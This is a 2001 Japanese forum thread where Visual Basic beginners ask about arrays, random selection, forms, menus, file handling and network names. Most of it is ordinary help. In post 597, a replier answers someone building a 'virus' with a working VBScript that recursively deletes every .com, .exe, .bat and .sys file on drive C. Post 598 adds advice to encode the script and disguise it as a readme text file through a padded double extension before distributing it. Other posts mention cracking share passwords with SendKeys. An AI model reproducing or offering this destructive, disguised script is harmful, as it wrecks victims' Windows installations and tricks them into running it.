順番に配列に数字を入れてからシャフルして
はじめの5個とるとその中に1−5までの数が
動かずに2,3個残っていたりしませんか?

個人的には>>546の方法がお勧めだとおもいますけど…。
555553:01/12/24 04:13
>>554
それを避けるためにすべての要素を必ず交換するようにするわけです。
それが上のコード例です。
556554:01/12/24 04:14
>>553
やっと理解しました。
すべての要素を別な要素と交換するんですね。
なんとなくバラけそうな気がしてきました。
>>551
理論的に出せる
順番に n (0<=n<要素数) 番目の値と Rnd*(n+1) 番目の値を入れ替えればいい
元の並びはどうでもいい

でも俺だったらそんな効率の悪いことはしないな。
普通に人間が15個の配列から5つ取り出すのと同じことをやればいい。
俺もVBわからんからC風に書くけど

n = 5; m = 15;
for( i=0; i<n; ++i )
{
  j = (int)( Rnd()*m ); // 0<=rnd()<1 ってことで
  ResultArray[i] = OriginalArray[j];
  OriginalArray[j] = --m;
}
558553:01/12/24 04:17
(誤)すべての要素を
(正)すべての添え字位置の要素を

迂津柁嗣埜卯……
>>557
重複を防ぐ仕組みがないようですが?
560557:01/12/24 04:23
>>559
よく読んでから言ってくれ・・・
561551=546:01/12/24 04:26
アレイを2つも作らなくても、>>546でやれば
よいのではないかと思うのですが。
どうでしょう?
562557:01/12/24 04:29
>>561
選択した結果を保存するのに配列が必要では?

>>557 のやつは配列が規則正しく並んでるときの例ね。
規則正しく並んで無いときは
OriginalArray[j] = --m;

OriginalArray[j] = OriginalArray[--m];
にしておくれ。
563561:01/12/24 04:36
>>562
>選択した結果を保存するのに配列が必要では?

>>546では15個中5個選択なら要素数5個の配列が必要です。
ただし、10万個中5個選択でも要素数5個の配列でできます。
シャフルする方法だと、もっとたくさん必要になりますよね?
564559:01/12/24 04:38
>>562 を読んでわかった。スマソ。
565557:01/12/24 04:45
一応言っておくと結果の配列はどんな方法だろうと5個

>>557 は元の配列を破壊するから、そのコピーが必要。
10万個から5個取り出すには10万個のコピーを行う必要がある。
その代わりループ回数は5回

>>546 はもとの配列にはノータッチなのでコピーのオーバーヘッドは無い。
代わりに10万回ループしなければいけないから、10万回乱数を発生させて10万回除算をしないといけない。
566553:01/12/24 04:46
>>546 のやり方だと、処理が終わる保証がないという点がちょっと問題です。
(特に、選択元の要素数が極端に多い場合)
ヘタレな乱数ライブラリを使っているときは要注意です。
まあ、まずありえない事ですけど。
>>553 のやり方では、シャッフルにメモリは食いますが、処理が必ず終わる
(それもほぼ一定時間で)ことは保証できます。
567557:01/12/24 04:46
>>564
書き方が悪かった、こっちこそスマソ。
>>551
乱数がちゃんと均一に発生するなら、元の要素数の2分の1の回数のループで十分です。
>>566

>ヘタレな乱数ライブラリを使っているときは要注意です。
お〜〜い。ここはVBのスレだよ。
なんか脱線して内科医?
570557:01/12/24 05:18
場合によって使い分けるのが最適かと思われ。

>>546
 速度は落ちるがメモリを節約したいときに有効。
 全体の個数と選ぶ個数が比較的近いとき。
>>547
 単純でわかりやすいが全体の個数と選ぶ個数が近いときには極端に時間がかかる。
 (終わらない可能性もアリ)
>>553
 全体の個数と選ぶ個数が極めて近いときに有効。
 ただしもっと最適化できる(For文を1つにまとめられる)
>>557
 全体の個数に比べて選ぶ個数が少ない時に有効。
 元の配列を破棄してもかまわないときは得に効果アリ。
 そうでなければ配列のコピーが行えない言語にはお勧めできない。
571デフォルトの名無しさん:01/12/24 07:51
>493
フォームをShowする時にフォームのオーナーを明示してみたら?
572VB使い:01/12/24 10:14
>>493
最初の
Dim X As New Form2のForm2と
次の
Form2.Visible = FalseのForm2はまったく別物。
Xに入れたんならXで処理しなくちゃだめ。
573492です:01/12/24 12:02
Xで処理というは具体的にどういうことでしょう?

二つ目を別定義にして、やるってことしょうか?
以下のようにしてもダメでした。
それと「フォームのオーナーに明示」をもう少し
わかりやすくおしえて頂きたいのですが。。。

Dim X2 As New Form3
X2.Show
X.Visible = False
574VB使い:01/12/24 12:30
>>573
まあ、要するにこういうことをやりたいんだよな?
Private Sub Form_Load()
Dim X As New Form2, X2 As New Form3
Form1.Show

Form1.Visible = False
X.Show

X.Visible = False
X2.Show

End Sub

>>492のコードってフォームに書いてそれぞれ別のファンクションに
してるか?だとしたら変数の有効範囲のせい。
標準モジュールに書くか、ひとつの関数にすれ。
575厨房王:01/12/24 17:39
はじめまして、恐縮です。プログラムを実行した時に自分のプログラムの
所定の場所にファイルを増やしたり、または実行した時に、所定の場所の
ファイルを消すコードはどうやってつくればいいの。

sub teach me()
msgbox "osiete"
end sub
576VB使い:01/12/24 17:44
>>575
Open,Close,Kill,App.Path等を使う。(Copy,Nameとかでもいい。)
ファイル処理全般を勉強するべし。

あと、ネタでも関数名にスペース入れるのはやめれ。
見てて落ちつかねえ。(w
577擬人:01/12/24 17:50
VBハッキングについてはコレだろ。
http://www.puchiwara.com/hacking/
578厨房王:01/12/24 21:47
>>576
すいません、なんせプログラムは最近始めたばかりなので、本は「十
日間のエクセルVBA」を使っています。一応VBでテキストファイ
ルのコピーを勉強しました。が、以下の「fso」どんな役割があるの
でしょうか。「Dim」は定義付けでした?

Private Sub Command1_Click()

Dim fso

Source = "c:\r.txt"
destination = "c:\r2.txt"
Set fso = CreateObject("scripting.filesystemobject")
Call fso.copyfile(Source, destination)

End Sub

ここから発展して、例えばCドライブのファイルをランダムに選択して、
コピーするという命令などはできるのでしょうか。よければ、教えてくだ
さい。
579VB使い:01/12/24 22:40
>>578
流れとしてはCドライブにどのファイルがあるか調べて、好きなファイルを
コピーするといった形になる。Folderオブジェクトでファイルの一覧を
取得できるはずなんで確認してみれ。
俺はFSOが嫌いなんで使ってない。スマソ。

>Dim fso
はfsoという変数をVariant型で宣言する、ということ。
>>578
具体的に何やりたいの?
ランダムにファイル拾ってコピーすりゃいいの?
>>578
Dimは変数を宣言するもので、fsoはそれで宣言された変数。
で、Set fso = CreateObject(〜)の行で
FileSystemObjectオブジェクトのインスタンスを作成して
そのオブジェクトへの参照をその変数に入れている。
どんな役割かというと、FileSystemObjectには
CopyFileというファイルをコピーするメソッドがある訳で
そのメソッドを使うためにオブジェクトを作成している訳だ。

まぁオブジェクトとか言われてもわからんだろうけど、
要はそういう道具を使えるようにしているわけだ。
scripting.filesystemobjectというのが道具の設計図の名称で
fso(という名前がつけられたもの)が実際の道具。
CreatObjectという命令でその道具を設計図から作り出している訳。
その道具のFileCopyという機能を使ってコピーしてるわけだな。

> ここから発展して、例えばCドライブのファイルをランダムに選択して、
> コピーするという命令などはできるのでしょうか。よければ、教えてくだ
まず何をしたいのか教えてくれ。
VBA+そういう怪しい動作=ウイルスとしか思いつかん。
VBで全画面表示ってできますか?
WindowStateで最大化ではなくゲームとかであるようなフルスクリーンに
したいのですが可能でしょうか?
DirectX使いたい、と言う意味?それとも単にメニューとかの構造物を隠したい、という意味?
>>583
最大化や最小化のボタンのあるバーの部分を見えなくしたいのですが…
ボタン等をFalseにしても上部のバーの部分は残るのでバーを消したいのですが
DirectX関係じゃないと無理ですかね?
585VB使い:01/12/25 08:10
>>584
FormのCaptionを消して、ControlBox=False。
これのことか?
586デフォルトの名無しさん:01/12/25 08:36
>>585
ありがとうございます。
なにぶん初心者なものですいません。
これで目的は達成したのですが、この状態でマウスカーソルを上の方に持って
いくとメニューが出てくる(普段は見えないようになってる)ようにできますか?
587VB使い:01/12/25 09:17
>>586
トップメニューを全部消すとメニューが消えて何か表示させると
メニューが出てくるからMouse_Moveイベントと組み合わせれ。
588デフォルトの名無しさん:01/12/25 09:54
VBのTextで表示できるバイト数を
500KBぐらいまで増やすことって出来ないですか?
589デフォルトの名無しさん:01/12/25 11:35
>>588
RichTextBox使いなはれ。
590 :01/12/25 13:32
>>578 ここ見れ

Windows Script
http://www.asia.microsoft.com/japan/developer/scripting/default.asp

[MSDN]-[プラットフォームSDKドキュメント]-
[ツールおよび開発言語]-[スクリプト]-[Windows スクリプト テクノロジ]-
[Script ランタイム]-[FileSystemObject オブジェクト]

http://www.microsoft.com/japan/developer/library/script56/fsooriscriptingrun-timereference.htm
591厨房王:01/12/25 16:15
>>581
ウイルスと作ってると言われれば、否定はしないです。でも、私のPCの
中を整理してくれるウイルスを作ろうと思っています。

例えば:ファイルがごちゃごちゃになった時、それらを拡張子毎に一つの
ファイルに入れる。という作業やランダムに語弊があったようですが、こ
れは、適当に選択という意味ではなく、まとまった物を選んでという意味
で使いました。あと、もう一つはウイルス系の核を取り除くために、ファ
イル探索した後に、それらを一気に消去するアプリをつくろうと思ってい
ます。
怪しすぎるのが笑える
ファイルを整理するソフトなんてウイルスじゃなくてできるよなぁ。
594 :01/12/25 16:45
&nsbr;
595 :01/12/25 16:45
 
596Cp.Alpha2:01/12/25 17:34
Sendkeys使って共有パスワード破るプログラム作成中
597590:01/12/25 17:44
>>591 VBSだけど、こんな感じでいいのかな?
参考にしてみてください。以下をコピーして
delete.vbs として保存。ダブルクリックする。
邪魔くさいファイルを削除して、対象ファイルのパスを
C:\log.txt に書き出します。

使用はくれぐれも自己責任でお願いします。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
コードの意味が分からなければ使用しないほうが
良いと思います。

'ここから--------------------------------------------------
'**Start Encode**

Dim FSO, TXT
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TXT = FSO.CreateTextFile("C:\log.txt", True)
Call ShowFileList("C:\", FSO, TXT)
TXT.Close
MsgBox "complete"

Sub ShowFileList(folderspec, fso, txt)
    Dim f, g, f1, f2, fc, fd
    
    On Error Resume Next

    Set f = fso.GetFolder(folderspec)
    Set fc = f.Files
    Set fd = f.SubFolders
    For Each f1 in fc
        If InStr(1, LCase(f1.Name), ".com") <> 0 Or _
           InStr(1, LCase(f1.Name), ".exe") <> 0 Or _
           InStr(1, LCase(f1.Name), ".bat") <> 0 Or _
           InStr(1, LCase(f1.Name), ".sys") <> 0 then
            txt.WriteLine(f1.Path & "\" &  f1.Name)
            Set g = fso.GetFile(f1.Path & "\" &  f1.Name)
                g.Delete
            Set g = Nothing
        End If
    Next
    For Each f2 in fd
        txt.WriteLine(f2.Path & "\")
        Call ShowFileList(f2.Path & "\", FSO, TXT)
    Next
End Sub
'ここまで--------------------------------------------------
598590:01/12/25 18:00
>>591 追記
Windows Script Encoder を使うとスクリプトを暗号化できます。
配布するときは暗号化してみてはどうでしょうか。

Windows Script Encoder
http://www.microsoft.com/downloads/release.asp?ReleaseID=33261&area=search&ordinal=6


使い方
コマンドプロンプトで以下のコマンドを打ち込む

SRCENC delete.vbs "readme.txt .vbn"

新しく生成されたファイルを配布します。
これであなたもタイーホ
599590:01/12/25 18:03
訂正
SRCENC delete.vbs "readme.txt           .vbn"
600590:01/12/25 18:06
スマソ また間違った。拡張子は“vbe”ね。
601ウルトラ初心者:01/12/25 18:31
VB初心者どころかパソコン暦半年の超初心者なんですが、これからVBの勉強をしようかとおもっているんですが、ラーニングとプロフェッショナルとエンタープライズがありますが、これらはどう違うのですか?大変しょうもない質問で申し訳ないのですが.
602Cp.Alpha2:01/12/25 18:36
USSエンタープライズ号はこれから学ぶにはあまりに豪華すぎます。
プロフェッショナルはプログラマーに推奨。
ラーニングはやや機能が落ちますが、値段も得で初心者には推奨。
>>601
ラーニングの低機能さには泣くぜ。あとで。
>>603
VBの低機能さには泣くぜ。あとで。
605590:01/12/25 18:49
>>601
プロフェッショナルにしておくのが無難だと思われ。
正直今からVB買う意味あるの?
2月にはVS.NETでるんだし。
現行のVBはきれいに消え去ってるよ。
607デフォルトの名無しさん:01/12/25 19:46
メーラー作ってるYO。
VBの質問じゃないんだけど、
VBからVBSとかWHSとかでアドレス帳のデーターを取得できない?
なぜにVBから「VBSやWHS」経由でアドレス帳にアクセスしたいねん?
素直にVBからアドレス帳にアクセスするか、
VBSやWHSを使うならVBはいらんちゃうか?
609デフォルトの名無しさん:01/12/25 20:06
>>607
ウィルスのソースを探すといいかも
>>602-606
そんなあなたにDelphi6 Personal http://www.borland.co.jp/delphi/
フリーだし、VB6のProfessionalぐらいのことはできますよ。
611デフォルトの名無しさん:01/12/25 20:56
VBで二次元配列にデータを格納したいのです。
で、Public Test(1 To 9,1 To 9) as String
それに
Test(0,0) = "あ"
Test(0,1) = "い"
という感じでTest(9,9)まで文字を格納したいのですが、
いちいちTestとかかなくてよい方法ありませんか?
Arrayっていうの使えないみたいなのです。
612デフォルトの名無しさん:01/12/25 21:11
>>611
Array ってVariant 型でしょ。

Dim varTest As Variant
Dim i As Long

varTest = Array("あ", "い", "う", "え", "お")

For i = 0 To 4
Debug.Print CStr(varTest(i))
Next i
613デフォルトの名無しさん:01/12/25 21:18
DataListBoxの使い方が詳しく乗ってるサイト無いっすか?
ヘルプよく分からなくて・・・。
614デフォルトの名無しさん:01/12/25 21:26
レス感謝です。
ただ、上記の方法ではたとえば
Debug.Print CStr(varTest(0,1))
とするとエラーになり二次元配列にならないのです。
verTest(i,j)とやったときに"あ"とか"う"とかが
でるよう対応したやつを作りたいのです。
615デフォルトの名無しさん:01/12/25 21:43
612ですが
解決しそうです
ちとイメージどおりのスマートさはないですが。
616デフォルトの名無しさん:01/12/25 21:58
苦肉の策としてはこんな感じでしょうか。
もっと良い方法があると思いますが。

    Dim varTest As Variant
    Dim strBuff As String
    Dim i, j As Long
    Dim m As Long: m = 4
    Dim n As Long: n = 4
    
    varTest = Array("あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お")
    
    For i = 0 To m
        strBuff = vbNullString
        For j = 0 To n
            strBuff = strBuff & CStr(varTest((m + 1) * i + j))
        Next j
        Debug.Print strBuff
    Next i
617SENJU:01/12/25 22:38
【質問内容】
コマンドをダブルクリックして「バッチファイル(〜.bat)」や
「実行ファイル(〜.exe)」を起動するときのコーディングを
教えてください。
618デフォルトの名無しさん:01/12/25 22:42
>>617 Shellとか調べてみ。
619デフォルトの名無しさん:01/12/25 22:55
VBとかって実行するときにDLLとかがないと「〜DLLがない」と
言われますがどうしてWindowsには標準でDLLが入ってないんですか?
620デフォルトの名無しさん:01/12/25 23:19
半角文字を全角文字に換える関数無いですか?
>>619
標準の DLL ではないから。
622デフォルトの名無しさん:01/12/25 23:28
>>620
MSDN で調べた?

strConv
623デフォルトの名無しさん:01/12/26 00:17
MDIで子Formが2つあるのを作っているのですが、
Form1とForm2を同時にアクティブにしておく方法はないでしょうか。
というのもメニューエディタで編集したやつはアクティブフォーム側の
やつが表示されますよね、だけどForm1とForm2のメニューは同じなので
両方にメニューエディタで作るのは二度手間になるのです。
もしくはForm1につくったメニューをForm2側にコピーする方法を教えてください。
624デフォルトの名無しさん:01/12/26 00:49
>>615
いまさらだが、こっちの方がマシかも

Dim varTest As Variant
Dim strBuff As String
Dim i, j As Long
Dim m As Long: m = 4
Dim n As Long: n = 4
 
varTest = Array(Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お")) _

For i = 0 To m
    strBuff = vbNullString
    For j = 0 To n
        strBuff = strBuff & CStr(varTest(i)(j))
    Next j
    Debug.Print strBuff
Next i
>>623
フォームを配列にしちまうか、
frmファイルをメモ帳で開いて、プロパティ部分をコピるか。
そーゆーのじゃダメ?
626デフォルトの名無しさん:01/12/26 09:27
>>625
うむー
感謝です。
両方アクティブってのは実質無理なんでしょうか。
どこかのフリーウェアでなってたような。
なってるように見せる方法ってないですか。
>>623=>>626
MDIFormにメニューを付けて、ActiveFormを見て処理を分岐するんじゃ駄目?
628デフォルトの名無しさん:01/12/26 18:31
質問お願いします。

プロポーショナルフォント(MSPゴシック)を使って帳票出力したいのですが、
表示領域の幅に合わせてプログラムで文字列を区切って改行させようとしています。
VBで、プロポーショナルフォントの文字列の幅を取得する方法ってあるでしょうか。
 俺なら、こうするね。
ラベルを一つ作って、プロパティのAutosizeをTrueにし、
Captionに入れたい文字を入れ、そのwidthを取得する、と。
すこしダサいか・・・。
630デフォルトの名無しさん:01/12/26 21:03
Grid系で一番よく使われているのってどれですか?
>>628
表示領域と同じフォント指定したPictureとか用意して
そこでTextWidth("出力したい文字列〜")で取得すればいいんちゃう?
632バカかもしれん…:01/12/26 22:55
画像ビューアを作っているのですがこのビューアに「ぼかし」
の機能を付けたいのですがどういった感じで組めばいいのでしょうか?
モザイクとかなら10ドット単位とかの正方形で区切ってそれぞれのRGB値を
操作するといった感じでできると思いますが、ぼかしの場合が
思いつきません。
どなたかアドバイスいただけないでしょうか。
633デフォルトの名無しさん:01/12/26 23:23
>630
目的によって使い分けられてる。

>632
ガウスぼかしなら、 g(x, y)=exp(-(x^2+y^2)/(2*s^2)
634デフォルトの名無しさん:01/12/26 23:32
すみません。
質問なんですが、
DatabaseとRecordSetのオブジェクトをつかうには,
どの参照設定を入れれば良いんでしょうか?
>>634
Microsoft DAO x.xx Object Libraryかな。
怪しいのを参照設定してオブジェクトビューアで見てみ。
636デフォルトの名無しさん:01/12/27 07:13
>635
できました。ありがとうございます
637630:01/12/27 07:40
>>630です。
・データベースとつなぎたいです。
・複数列表示できるリストボックスとして使いたいです。
・表示されてる項目をクリックして、そのアイテムを取得できるのが良いです。

できましたら、上記のに当てはまるGridを教えてください。
出来れば3番目のやり方も教えてもらえるとありがたいです。。
実行時のフォームを画像として
保存するにはどうすればよいのでしょうか?

保存する際に、ウインドウのタイトル、枠などを除いて
画像として保存したいです。
>>637
BOCのTrueDBGrid。

http://www.boc.co.jp/

コントロール系の情報集めるのならVBマガジンぐらい見る事を勧める。
>>638

画面を取り込んで印刷
http://www.microsoft.com/japan/support/kb/articles/J042/0/88.asp

画像の保存
http://www1.plala.or.jp/akis/bbslog/1000/401-450.html

これを組み合わせれば大丈夫だと思う。
>>628
 sngWidth = Form1.TextWidth("AIUEO")
 sngWidth = Printer.TextWidht("AIUEO")
のように、TextWidthメソッドでFontプロパティに設定されている
Fontの幅なら取れるよん
642デフォルトの名無しさん:01/12/27 13:37
自分の所属しているネットワーク(WORKGROUPなど)内の
パソコン名とそのPCのログインユーザ名を取得する方法がありましたら教えてください
>>642
読みにくいのは勘弁な

--- 標準モジュールに
Option Explicit

'ユーザ名を取得する
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long

'コンピュータ名を取得する
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long
--- 標準モジュール ここまで
とやって
コマンドボタン1個とテキストボックス2個貼ったフォームを用意。

--- テスト用フォーム

Private Sub Command1_Click()

Dim lngRetAPI As Long
Dim tempX As String

tempX = String(256, Chr(0))

'ユーザ名(GetUserName)
lngRetAPI = GetUserName(tempX, 256)
Text1.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)

'コンピュータ名(GetComputerName)
lngRetAPI = GetComputerName(tempX, 255)
Text2.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)

End Sub

--- テスト用フォーム ここまで

で、ボタンを押す。
>>643
そんなこと聞いてないよ
>>644
ゴメン間違えた(藁
MID子フォームで、他のMID子フォームにフォーカスが移っても、
常に最全面に表示されたままのフォームを作成したいのですが、
どうすればよいのでしょうか?
647642:01/12/27 14:29
>>643
それだと自分のパソコン名とログインユーザ名だけしか解らないと思います。
ネットワーク内のすべてのパソコン名と、そのログインユーザ名を調べたいのですが、
やはりこれは難しいのでしょうか
イミディエイトウインドウをクリアするにはどうすれば良いのでしょう?

Debug.Print で出力してると残ったままになので、
クリアして使うには、毎回手作業で消してますが、面倒なので
649早とちりの643:01/12/27 14:32
>>642
書籍情報でスマンが...
「Visual Basic6.0 300の技 ネットワーク+データベース編 」
http://www2.gihyo.co.jp/books/bookinfo.asp?ID=910

PC名一覧だけなら net view コマンドでも良いのかな?
650デフォルトの名無しさん:01/12/27 15:19
651( ゚д゚):01/12/27 15:33
データ保存先なんかのディレクトリを指定させる場合、どんなコントロール使ってますか?
DriveListBoxとDirListBox使えばできるけど、チョト面倒臭い


ちなみにVBのバージョンは5です
>>651
VB5 で出来るかどうかはやったことないのでわからんけど、
Shell32.Shell(SHDOC401.DLL) オブジェクトの
BrowseForFolder メソッド使ってますです。
653デフォルトの名無しさん:01/12/27 15:50
>>642
WORKGROUP 内のコンピュータのIPアドレス取得
http://www.mitene.or.jp/~sugisita/family/papa/vb/api_net.html
「現在接続しているIPネットワーク先のIPアドレスとMACアドレスの取得」

IPアドレス→ホスト名
http://www.mitene.or.jp/~sugisita/family/papa/vb/api_net.html
「IPアドレスよりホスト名の参照」

ユーザ名は分からん。
>>651
漏れはこんな感じでやってる。

Private Sub cmdPath_Click()
    
    Dim typBrowseInfo As BROWSE_INFO
    Dim lFoldPointer As Long
    Dim sPathName As String

    With typBrowseInfo
        .hwOwner = frmMain.hWnd
        .lRoot = CSIDL_DESKTOP
        .sTitle = "フォルダを選択してください"
        .lOptions = BIF_RETURNONLYFSDIRS Or BIF_DONTGOBELOWDOMAIN
    End With

    lFoldPointer = SHBrowseForFolder(typBrowseInfo)

    sPathName = String$(256, vbNullChar)

    Call SHGetPathFromIDList(lFoldPointer, sPathName)

    CoTaskMemFree lFoldPointer

    If Left(sPathName, 1) <> Chr(0) Then
        Debug.Print LCase(sPathName)
    End If

End Sub
655( ゚д゚):01/12/27 16:13
>>652 >>654
レスども。
そのあたりの煎で調べてみます。
656648:01/12/27 16:14
>>650
サンクス 英語に戸惑ったけどこれで大丈夫みたい
Drag&Drop後のMouseUpイベントを取得する方法について教えて下さい。

具体的には...
DragModeを手動にし、MouseDows時にDragメソッド(引数 1)で
Drag&Dropを行うのですが、Drag&Drop後のMouseUpイベントが
取得できません。

フォーム外にDragされた場合に、イベントを取得できないので、
MouseUpであれば、フォーム外でもイベント取得できるので、
どうにかMouseUpを取得できれば良いのですが
IEからExcelファイルへのリンクをクリック>Excel起動として
開いたExcelファイルのセルにhtmlフォームのテキストボックスの内容を
反映させるようなVBAってありますでしょうか?
IE5.0 と Excel97です。

ヒントだけでもよいのでお願いできませんでしょうか?


HTML側
<FORM ACTION="***.cgi"> /* ここは適当 */
<INPUT TYPE="text" NAME="text">
<BR>
<A HREF = "xxx.xls">xxx.xls</A> /* このxlsにtextの内容を読ませたい */
</FORM>

EXCEL側
Private Sub Workbook_Open()
Call Read_text /* 起動時に関数呼び出し */
End Sub

Private Sub Read_text()
Dim txtField As String

/* ???? */
/* ここでテキストボックスの内容を取得したい */

ActiveCell.FormulaR1C1 = txtField
Range("A1").Select
End Sub
659きょうすけ:01/12/27 18:33
VBAのProperty Windowのフォントがいきなり、変な文字になって、内容が読めなくなってしまいました。
だれか、復旧方法を教えてください。VB Editorから入っていき、フォームを作り、Propertyを見ると、
文字がイタリックのさらに崩したような状態になっていて、使えません。 だれか助けてください。
660デフォルトの名無しさん:01/12/27 18:57
質問2つ。
・電話番号欄があって、半角数字とハイフンしか入れられなくしたいのですが
 IsNumeric使うとハイフンも受け付けなくなるので、なんとかなりませんか。
・Form_Loadで、セットフォーカス使うと参照がおかしいみたいな事
 言われんですけど、無理なんですか?
>>660
上の解答(らしきもの)
「マスク エディット (MaskEdBox) コントロール」
662デフォルトの名無しさん:01/12/27 19:27
>>660
>半角数字とハイフンしか入れられなくしたいのですが
Key Pressイベントで、Key Asciiを調べて、数字とハイフン以外は
KeyAsciiに0を設定すればいい。キーコードについてヘルプで検索すれ。

>Form_Loadで、セットフォーカス使うと参照がおかしいみたいな...
これだけじゃ何をしたいかわからん。
663661:01/12/27 19:29
「プロシージャの呼び出し、または引数が不正です。(Error 5)」

つまりこれを回避したいと言うことかな?
664名無しさん ◆MZ2000oY :01/12/27 19:30
Form_Load イベント内では SetFocus は使えない。
665661:01/12/27 19:31
Form_Paint あたりで SetFocus だな。
666デフォルトの名無しさん:01/12/27 19:37
>>659
キャッシュのクリアか、再インストール (多分)

http://www.zdnet.co.jp/help/books/at_tb/ch04/ch04_07a.html
667660:01/12/27 19:59
みなさんありがとう。
Form_Paintって初めて聞きました。
Form_Loadより後に起こるイベントってあるんですね。ビクリしました。
668デフォルトの名無しさん:01/12/27 20:33
>>658
クリップボード経由だけど、それらしいことはできる。

「セキュリティの設定」で「スクリプトによる貼り付け処理の許可」を有効にする。
(セキュリティとしては大いに問題あり)

HTMLここから--------------------------------------------
<script language="vbscript">
    Sub txtCopyToClipboard()
        set rngText = frmText.txtTarget.createTextRange()
        rngText.execCommand("copy")
    End Sub
</script>

<form id="frmText">
    <input id="txtTarget" type="text" name="txtTarget">
</form>
<a href="./xxx.xls" language="VBScript" onClick="txtCopyToClipboard()">xxx.xls</a>
HTMLここまで--------------------------------------------

EXCELここから--------------------------------------------
Private Sub Workbook_Open()
    Call Read_text
End Sub

Private Sub Read_text()
    Dim txtField As String
    Dim objData As DataObject
    
    Set objData = New DataObject
    objData.GetFromClipboard
    txtField = objData.GetText
    
    ActiveCell.FormulaR1C1 = txtField
    Range("A1").Select
End Sub
EXCELここまで--------------------------------------------
669デフォルトの名無しさん:01/12/27 21:02
仕事で緊急にVBを使わなくてはならなくなりました。
社内でパソコン詳しい人が居ないもので私が使わないといけないのです。

パソコン暦3年のプログラム初心者が初心者本片手に12時間みっちりやって
どこまで出来るようになりますか?
ちょっとしたプログラムぐらいは読めるようになれますか?
670デフォルトの名無しさん:01/12/27 21:16
>>669
とりあえずテキストボックスやボタンなどを配置して
Windowsの標準的なインターフェースを作れるようになるでしょ。
後はどんな処理をさせるかだけど、Webで調べれば大抵解決するよ。
>>669
 開発に行き詰まったらいつでもここに来ればいいさ(´∀`
>669
仕事で使う時ってのは到達すべき目標が見えるから覚えるのも早いで。
WebでQ&Aできる掲示板でも見つけておけ!
673デフォルトの名無しさん:01/12/27 21:34
>>669
とりあえずコメントだけは面倒でもキッチリかけよ。
後々メンテするときに非常に役に立つからな。
674デフォルトの名無しさん:01/12/27 22:00
InetコントロールでOpenURLメソッドを呼ばないで(GETしないで)
ヘッダー取得できますか?OpenURLの後GetHeaderするとできますが
いっかい全部落としてから取得してしまうんで。
675きょうすけ:01/12/27 22:16
>>659>>666
レスありがとうございます。でも、まだ直りません。
Officeを再インストールしても駄目でした。まさか、Windowsを再インストールしなければならないのでしょうか?

画面をコピーしたものを参考で公開しますので、見てみてください。

http://kyosuketsuda.hoops.ne.jp/Images/Problem.gif

誰か、助けてください。
676669:01/12/27 22:36
ありがとう。
ここはやさしい人も多いのね。
私がんばるよ。。
677デフォルトの名無しさん:01/12/27 22:45
>>675
Windowsの再インストってそんなに難しいことじゃないよ。
ネットの設定だけは、しっかりメモっとけよ!
678弧愚:01/12/27 23:01
トリップとれるとこ知りませんか?
679 調べて欲しい:01/12/27 23:16
MIME-Version: 1.0
Received: from [143.90.131.182] by hotmail.com (3.2) with ESMTP id MHotMailBCF5F31A005C400438A58F5A83B6B91B0; Sun Jun 17 05:52:43 2001
Received: from cfb87420 ([61.116.15.136]) by t-mta4.odn.ne.jp with SMTP id <[email protected]> for <[email protected]>; Sun, 17 Jun 2001 21:52:41 +0900
From [email protected] Sun Jun 17 05:53:01 2001
Message-ID: <000501c0f724$2beb5420$880f743d@cfb87420>
References: <[email protected]>
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
>>675
昔似たような現象になったことあったな。
そんときはセーフモードで上げれば直ったけど
すぐにまた同じ現象になってな。
結局再インストールしたよ。
入れなおした方が絶対早いと思うぞ。
>>674
OpenURLってのは細かい制御ができないかわりに楽なんだよね。
細かいことをしたいならば面倒でもExecuteでやらんと。
Content-Lengthとかのヘッダ取るだけならこんな感じかな。

Private Sub Command1_Click()
  Inet1.Execute "http://アドレス", "GET"
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
  Select Case State
    Case 12
      Debug.Print "Content-Type = "; Inet1.GetHeader("Content-type")
      Debug.Print "Content-Length = "; Inet1.GetHeader("Content-Length")
      Debug.Print "Last-modified = "; Inet1.GetHeader("Last-modified")
      Inet1.Cancel '受信もしたいならここでGetChunk繰り返せ
  End Select
End Sub

ヘッダ全部が欲しいならWinsock使った方がいいかもな。
682674:01/12/28 00:36
>>681
どうもです。できました。
それにしてもInetコントロールは良く分からないですね。
683デフォルトの名無しさん:01/12/28 01:46
>648
Ctrl+A→Del押すだけじゃん。

>660
Loadイベントの最後あたりで、Me.Showしてから、SetFocusする手もある。
ようは、見えないコントロールにフォーカスは当てられないってこと。
684デフォルトの名無しさん:01/12/28 10:37
Textの特定の文字を置換するにはどうすればいいのですか?
InStr関数がよくわかりません。

やりたいことの例↓

アボーン
アベーン
アブーン

と言う文章の「ーン」を検索して「〜ソ」に置換したいのです。
>>684
Replace("アブーン","ーン","〜ソ")
686デフォルトの名無しさん:01/12/28 12:16
>684
Text1.Text = Replace(Text1.Text, "ーン", "〜ソ")
ほかの「ーン」が変換されたくなかったら、
各4字で計3回やればいい。
687デフォルトの名無しさん:01/12/28 12:52
>>685
>>686
ありがd
688Nana:01/12/28 22:34
VBでウィルスは作れますか?
689デフォルトの名無しさん:01/12/28 22:53
690デフォルトの名無しさん:01/12/28 22:54
>>658
これ(>>668)うまくいった?
メニューとかの名前を付けて保存(A)とかの下にボーダーがありますが
これってどうやって出すんですか?
692デフォルトの名無しさん:01/12/29 00:04
>>691
キャプションに - を入れる。
693691:01/12/29 00:08
>>692
すいません。ありがとうございます。
ちなみにこういうのってMSDNとかでどのように検索すれば出てきますか?
検索してみたのですがいまいちでして…
694デフォルトの名無しさん:01/12/29 00:25
>>693
「メニュー」をキーワードにすると、「メニュー エディタで作成」という
項目が見つかるはず。
>>693
